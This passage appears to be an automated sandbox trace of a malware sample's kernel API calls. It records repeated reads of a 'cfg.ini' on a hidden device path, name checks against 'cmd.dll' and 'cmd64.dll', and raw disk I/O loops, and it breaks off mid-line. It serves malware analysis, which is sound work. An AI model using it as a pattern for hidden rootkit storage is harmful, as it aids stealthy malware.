ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.007] KeLeaveCriticalRegion () [0121.007] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.007] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.007] KeEnterCriticalRegion () [0121.007] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.007] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.007] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.007] KeLeaveCriticalRegion () [0121.007] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.007] KeEnterCriticalRegion () [0121.007] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.007] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.007] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbe450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.007] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.007] KeLeaveCriticalRegion () [0121.007] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.007] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.007] KeEnterCriticalRegion () [0121.007] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.007] ExFreePoolWithTag (P=0xfffffa8003bbe6a0, Tag=0x0) [0121.007] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.007] KeLeaveCriticalRegion () [0121.007] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.007] ReleaseMutex (hMutex=0xf0) returned 1 [0121.008] Sleep (dwMilliseconds=0x124f80) [0121.021] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.021] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.021] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.021] KeEnterCriticalRegion () [0121.021] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.021] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.021] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.021] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.021] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.021] IdePortDispatch () returned 0x103 [0121.021] KeWaitForMutexObject () returned 0x0 [0121.021] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.022] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.022] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.022] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.022] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.022] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbe6a0 [0121.022] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.022] KeLeaveCriticalRegion () [0121.022] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.022] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.022] KeEnterCriticalRegion () [0121.022] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.022] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.022] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.022] KeLeaveCriticalRegion () [0121.022] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.022] KeEnterCriticalRegion () [0121.022] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.022] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.022] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.022] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.022] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.022] IdePortDispatch () returned 0x103 [0121.022] KeWaitForMutexObject () returned 0x0 [0121.022] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.022] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.022] KeLeaveCriticalRegion () [0121.022] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.022] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.022] KeEnterCriticalRegion () [0121.022] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.022] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003542000 [0121.022] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.022] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.022] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.022] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.022] IdePortDispatch () returned 0x103 [0121.023] KeWaitForMutexObject () returned 0x0 [0121.023] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.023] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.023] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.023] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.023] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.023] IdePortDispatch () returned 0x103 [0121.023] KeWaitForMutexObject () returned 0x0 [0121.023] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.023] KeLeaveCriticalRegion () [0121.023] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.023] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.023] KeEnterCriticalRegion () [0121.023] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.023] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.023] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.023] KeLeaveCriticalRegion () [0121.024] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.024] KeEnterCriticalRegion () [0121.024] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.024] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.024] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc3070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.024] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.024] KeLeaveCriticalRegion () [0121.024] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.024] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.024] KeEnterCriticalRegion () [0121.024] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.024] ExFreePoolWithTag (P=0xfffffa8003bbe6a0, Tag=0x0) [0121.024] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.024] KeLeaveCriticalRegion () [0121.024] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.024] ReleaseMutex (hMutex=0xf0) returned 1 [0121.024] Sleep (dwMilliseconds=0x124f80) [0121.038] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.038] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.038] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.038] KeEnterCriticalRegion () [0121.038] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.038] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.038] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.038] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.038] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.038] IdePortDispatch () returned 0x103 [0121.038] KeWaitForMutexObject () returned 0x0 [0121.039] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.039] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.039] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.039] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.039] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.039] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003b9f360 [0121.039] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.039] KeLeaveCriticalRegion () [0121.039] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.039] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.039] KeEnterCriticalRegion () [0121.039] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.039] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.039] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.039] KeLeaveCriticalRegion () [0121.039] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.039] KeEnterCriticalRegion () [0121.039] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.039] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.039] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.039] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.039] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.039] IdePortDispatch () returned 0x103 [0121.039] KeWaitForMutexObject () returned 0x0 [0121.039] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.039] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.039] KeLeaveCriticalRegion () [0121.039] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.039] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.039] KeEnterCriticalRegion () [0121.039] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.039] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003547000 [0121.039] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.039] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.039] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.039] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.040] IdePortDispatch () returned 0x103 [0121.040] KeWaitForMutexObject () returned 0x0 [0121.040] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.040] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.040] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.040] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.040] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.040] IdePortDispatch () returned 0x103 [0121.040] KeWaitForMutexObject () returned 0x0 [0121.040] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.040] KeLeaveCriticalRegion () [0121.040] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.041] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.041] KeEnterCriticalRegion () [0121.041] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.041] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.041] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.041] KeLeaveCriticalRegion () [0121.041] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.041] KeEnterCriticalRegion () [0121.041] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.041] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.041] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc3070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.041] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.041] KeLeaveCriticalRegion () [0121.041] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.041] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.041] KeEnterCriticalRegion () [0121.041] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.041] ExFreePoolWithTag (P=0xfffffa8003b9f360, Tag=0x0) [0121.041] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.041] KeLeaveCriticalRegion () [0121.041] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.041] ReleaseMutex (hMutex=0xf0) returned 1 [0121.041] Sleep (dwMilliseconds=0x124f80) [0121.056] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.056] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.056] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.056] KeEnterCriticalRegion () [0121.056] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.056] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.056] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.056] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.056] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.056] IdePortDispatch () returned 0x103 [0121.056] KeWaitForMutexObject () returned 0x0 [0121.056] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.056] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.056] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.056] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.056] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.056] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbbdc0 [0121.056] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.056] KeLeaveCriticalRegion () [0121.056] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.056] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.056] KeEnterCriticalRegion () [0121.056] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.056] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.056] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.056] KeLeaveCriticalRegion () [0121.056] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.056] KeEnterCriticalRegion () [0121.056] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.056] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.056] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.056] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.056] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.057] IdePortDispatch () returned 0x103 [0121.057] KeWaitForMutexObject () returned 0x0 [0121.057] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.057] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.057] KeLeaveCriticalRegion () [0121.057] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.057] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.057] KeEnterCriticalRegion () [0121.057] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.057] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800354c000 [0121.057] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.057] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.057] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.057] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.057] IdePortDispatch () returned 0x103 [0121.057] KeWaitForMutexObject () returned 0x0 [0121.057] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.057] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.057] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.057] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.057] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.057] IdePortDispatch () returned 0x103 [0121.057] KeWaitForMutexObject () returned 0x0 [0121.058] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.058] KeLeaveCriticalRegion () [0121.058] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.058] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.058] KeEnterCriticalRegion () [0121.058] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.058] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.058] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.058] KeLeaveCriticalRegion () [0121.058] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.058] KeEnterCriticalRegion () [0121.058] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.058] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.058] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbe710, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.058] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.058] KeLeaveCriticalRegion () [0121.058] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.058] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.058] KeEnterCriticalRegion () [0121.058] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.058] ExFreePoolWithTag (P=0xfffffa8003bbbdc0, Tag=0x0) [0121.058] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.058] KeLeaveCriticalRegion () [0121.058] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.058] ReleaseMutex (hMutex=0xf0) returned 1 [0121.058] Sleep (dwMilliseconds=0x124f80) [0121.063] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.066] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.066] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.067] KeEnterCriticalRegion () [0121.067] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 